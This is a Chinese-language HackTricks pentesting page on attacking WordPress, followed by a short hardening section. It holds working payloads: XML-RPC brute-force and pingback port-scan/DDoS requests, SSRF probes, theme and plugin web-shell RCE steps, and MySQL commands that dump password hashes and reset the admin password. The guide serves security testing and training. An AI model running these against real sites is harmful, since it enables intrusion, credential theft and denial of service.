> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/wordpress.md).

# Wordpress

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/u2aeMhupzWak3Ku1nzcp" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，并由全球**最先进**的社区工具提供支持。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 基本信息

**上传**的文件位于：`http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**主题文件可在/wp-content/themes/中找到**，因此如果更改主题的某些php以获得RCE，则可能会使用该路径。例如：使用**twentytwelve主题**，您可以在以下位置访问**404.php**文件：[**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**另一个有用的URL可能是：** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)

在**wp-config.php**中，您可以找到数据库的根密码。

要检查的默认登录路径：***/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/***

### **主要WordPress文件**

* `index.php`
* `license.txt` 包含有用的信息，如安装的WordPress版本。
* `wp-activate.php` 用于设置新WordPress站点时的电子邮件激活过程。
* 登录文件夹（可能已重命名以隐藏）：
  * `/wp-admin/login.php`
  * `/wp-admin/wp-login.php`
  * `/login.php`
  * `/wp-login.php`
* `xmlrpc.php` 是WordPress的一个功能文件，它使数据能够通过HTTP作为传输机制和XML作为编码机制进行传输。这种通信方式已被WordPress的[REST API](https://developer.wordpress.org/rest-api/reference)取代。
* `wp-content`文件夹是存储插件和主题的主目录。
* `wp-content/uploads/` 是存储上传到平台的任何文件的目录。
* `wp-includes/` 这是存储核心文件的目录，如证书、字体、JavaScript文件和小部件。
* `wp-sitemap.xml` 在WordPress版本5.5及更高版本中，WordPress会生成一个包含所有公共帖子和可公开查询的帖子类型和分类法的站点地图XML文件。

**后渗透**

* `wp-config.php`文件包含WordPress连接到数据库所需的信息，如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐以及数据库表前缀。此配置文件还可用于激活DEBUG模式，这在故障排除中很有用。

### 用户权限

* **管理员**
* **编辑**：发布和管理自己和其他人的帖子
* **作者**：发布和管理自己的帖子
* **贡献者**：编写和管理自己的帖子，但无法发布它们
* **订阅者**：浏览帖子并编辑其个人资料

## **被动枚举**

### **获取WordPress版本**

检查是否可以找到文件`/license.txt`或`/readme.html`

在页面的**源代码**中（例如来自<https://wordpress.org/support/article/pages/>的示例）：

* grep

```bash
curl https://victim.com/ | grep 'content="WordPress'
```

* `meta name`

![](/files/k6Cs8Msr1O5PYfrCdZPV)

* CSS link files

![](/files/70HgT6b0R5vJ82JCWwb5)

* JavaScript files

![](/files/Jb2smWe7d4By2RGyHnVS)

### 获取插件

{% code overflow="wrap" %}

```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```

{% endcode %}

### 获取主题

{% code overflow="wrap" %}

```
```

{% endcode %}

```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```

### 提取一般版本

{% code overflow="wrap" %}

```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

```

{% endcode %}

<figure><img src="/files/u2aeMhupzWak3Ku1nzcp" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可以轻松构建和**自动化工作流程**，使用全球**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 主动枚举

### 插件和主题

您可能无法找到所有可能的插件和主题。为了发现它们所有，您需要**主动暴力破解插件和主题的列表**（幸运的是，有一些自动化工具包含了这些列表）。

### 用户

**ID 暴力破解**

通过暴力破解用户ID，您可以从WordPress网站获取有效用户：

```
curl -s -I -X GET http://blog.example.com/?author=1
```

如果响应为**200**或**30X**，表示id是**有效**的。如果响应为**400**，则id是**无效**的。

**wp-json**

您还可以尝试通过查询获取有关用户的信息：

```
curl http://blog.example.com/wp-json/wp/v2/users
```

另一个可以揭示有关用户信息的 `/wp-json/` 端点是：

```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```

注意，此端点仅公开已发布帖子的用户。**仅提供启用此功能的用户的信息**。

还要注意\*\*/wp-json/wp/v2/pages\*\*可能会泄漏IP地址。

#### 登录用户名枚举

在\*\*`/wp-login.php`**登录时，消息会根据指定的**用户名是否存在**而**不同\*\*。

### XML-RPC

如果`xml-rpc.php`处于活动状态，则可以执行凭据暴力破解，或者使用它发动对其他资源的DoS攻击（例如，您可以使用[此工具](https://github.com/relarizky/wpxploit)来自动化此过程）。

要查看它是否处于活动状态，请尝试访问\_**/xmlrpc.php**\_并发送此请求：

**检查**

```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```

![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)

**凭证暴力破解**

**`wp.getUserBlogs`**、\*\*`wp.getCategories`**或**`metaWeblog.getUsersBlogs`\*\*是一些可用于暴力破解凭证的方法。如果您找到其中任何一个，可以发送类似以下内容：

```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```

在一个200状态码的响应中，如果凭据无效，应该显示消息\_"用户名或密码不正确"\_。

![](/files/lzXmzaccPoPLHNiFpZ0T)

![](/files/K79qqLArGBIzcmTc1Ifa)

使用正确的凭据，您可以上传一个文件。在响应中会显示路径（<https://gist.github.com/georgestephanis/5681982>）

```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```

**绕过2FA**

这种方法适用于程序而非人类，并且比较老旧，因此不支持2FA。因此，如果您拥有有效凭据但主入口受到2FA保护，**您可能能够滥用xmlrpc.php以使用这些凭据绕过2FA登录**。请注意，您将无法执行通过控制台可以执行的所有操作，但您可能仍然能够像Ippsec在<https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s>中解释的那样实现RCE。

**DDoS或端口扫描**

如果您可以在列表中找到方法\_**pingback.ping**\_，则可以让WordPress向任何主机/端口发送任意请求。\
这可用于要求**成千上万**的WordPress **站点**访问一个**位置**（从而在该位置引起**DDoS**），或者您可以使用它来让**WordPress**扫描一些内部**网络**（您可以指定任何端口）。

```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```

![](/files/IN1Y1JzA0Dax0l34ivgX)

如果您得到的**faultCode**值**大于**0（17），这意味着端口是开放的。

查看前一节中对\*\*`system.multicall`\*\*的使用，了解如何滥用此方法来发动 DDoS 攻击。

```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```

![](/files/2iCZghIrgcWlohirHJ1E)

### wp-cron.php DoS

该文件通常存在于WordPress站点的根目录下：**`/wp-cron.php`**\
当访问此文件时，会执行一个“繁重”的MySQL **查询**，因此攻击者可以利用它来引发**DoS**攻击。\
此外，默认情况下，`wp-cron.php`会在每次页面加载时被调用（每当客户端请求任何WordPress页面时），这在高流量站点上可能会引起问题（DoS）。

建议禁用Wp-Cron，并在主机内部创建一个真正的cronjob，以在规律的时间间隔内执行所需的操作（而不会引起问题）。

### /wp-json/oembed/1.0/proxy - SSRF

尝试访问 \_<https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_，WordPress站点可能会向您发出请求。>

当它不起作用时，这是响应：

![](/files/sU6gcHq3HpXJp1VdSKef)

### SSRF

{% embed url="<https://github.com/t0gu/quickpress/blob/master/core/requests.go>" %}

此工具检查**methodName: pingback.ping**和路径\*\*/wp-json/oembed/1.0/proxy\*\*是否存在，如果存在，则尝试利用它们。

### Automatic Tools

```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```

<figure><img src="/files/u2aeMhupzWak3Ku1nzcp" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可轻松构建并通过全球**最先进**的社区工具**自动化工作流程**。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 通过覆盖一个位获取访问权限

这不仅仅是一个真正的攻击，更是一种好奇。在CTF <https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man> 中，您可以翻转任何WordPress文件的1位。因此，您可以翻转文件`/var/www/html/wp-includes/user.php`中的位置`5389`，以将NOT (`!`) 操作变为NOP。

```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```

## **面板RCE**

**修改主题中的php文件（需要管理员凭据）**

外观 → 主题编辑器 → 404模板（在右侧）

更改内容为php shell：

![](/files/w4Tz54mN5M3Mdwmw3IXb)

搜索互联网以了解如何访问更新后的页面。在这种情况下，您必须访问这里：<http://10.11.1.234/wp-content/themes/twentytwelve/404.php>

### MSF

您可以使用：

```
use exploit/unix/webapp/wp_admin_shell_upload
```

## 插件RCE

### PHP插件

可能可以将.php文件上传为插件。\
例如，使用以下代码创建您的php后门：

![](/files/N2A1QRF4f7VZr0AJuHFl)

然后添加一个新插件：

![](/files/uD9j30eORW0nCHWjzJ3m)

上传插件并点击“立即安装”：

![](/files/v3prHCr75rNWk8s3wz1f)

点击“继续”：

![](/files/bfrV3XbvmzCZSDlWuW2Q)

可能看起来不会有任何变化，但如果您转到媒体库，您将看到您上传的shell：

![](/files/7FAlntWg9PLb7MV7k7iH)

访问它，您将看到执行反向shell的URL：

![](/files/r2ZsNc1wOJmipXDfwjJs)

### 上传和激活恶意插件

此方法涉及安装已知易受攻击的恶意插件，并可利用以获取Web shell。此过程通过WordPress仪表板执行如下：

1. **获取插件**：从Exploit DB等来源获取插件，例如[**此处**](https://www.exploit-db.com/exploits/36374)。
2. **安装插件**：

* 转到WordPress仪表板，然后转到`仪表板 > 插件 > 上传插件`。
* 上传下载的插件的zip文件。

3. **激活插件**：一旦插件成功安装，必须通过仪表板激活。
4. **利用**：

* 安装并激活插件“reflex-gallery”后，可以利用其已知易受攻击的漏洞。
* Metasploit框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令，可以建立一个meterpreter会话，从而未经授权地访问站点。
* 需要注意的是，这只是利用WordPress站点的众多方法之一。

内容包括描绘在WordPress仪表板中安装和激活插件步骤的视觉辅助。然而，重要的是要注意，未经授权地利用漏洞是非法和不道德的。这些信息应该负责任地使用，仅在合法的情况下使用，例如在明确获得许可的渗透测试中。

**有关更详细的步骤，请查看：** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)

## 后期利用

提取用户名和密码：

```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```

更改管理员密码：

```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```

## WordPress保护

### 定期更新

确保WordPress、插件和主题是最新的。还要确认在wp-config.php中启用了自动更新：

```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```

此外，**只安装可信赖的WordPress插件和主题**。

### 安全插件

* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)

### **其他建议**

* 删除默认的 **admin** 用户
* 使用 **强密码** 和 **双因素认证**
* 定期审查用户的 **权限**
* **限制登录尝试** 以防止暴力破解攻击
* 重命名 **`wp-admin.php`** 文件，并仅允许内部访问或特定IP地址访问。

<figure><img src="/files/u2aeMhupzWak3Ku1nzcp" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 轻松构建和 **自动化工作流程**，由全球 **最先进** 的社区工具提供支持。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的 **公司广告** 或 **下载PDF格式的HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索 [**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
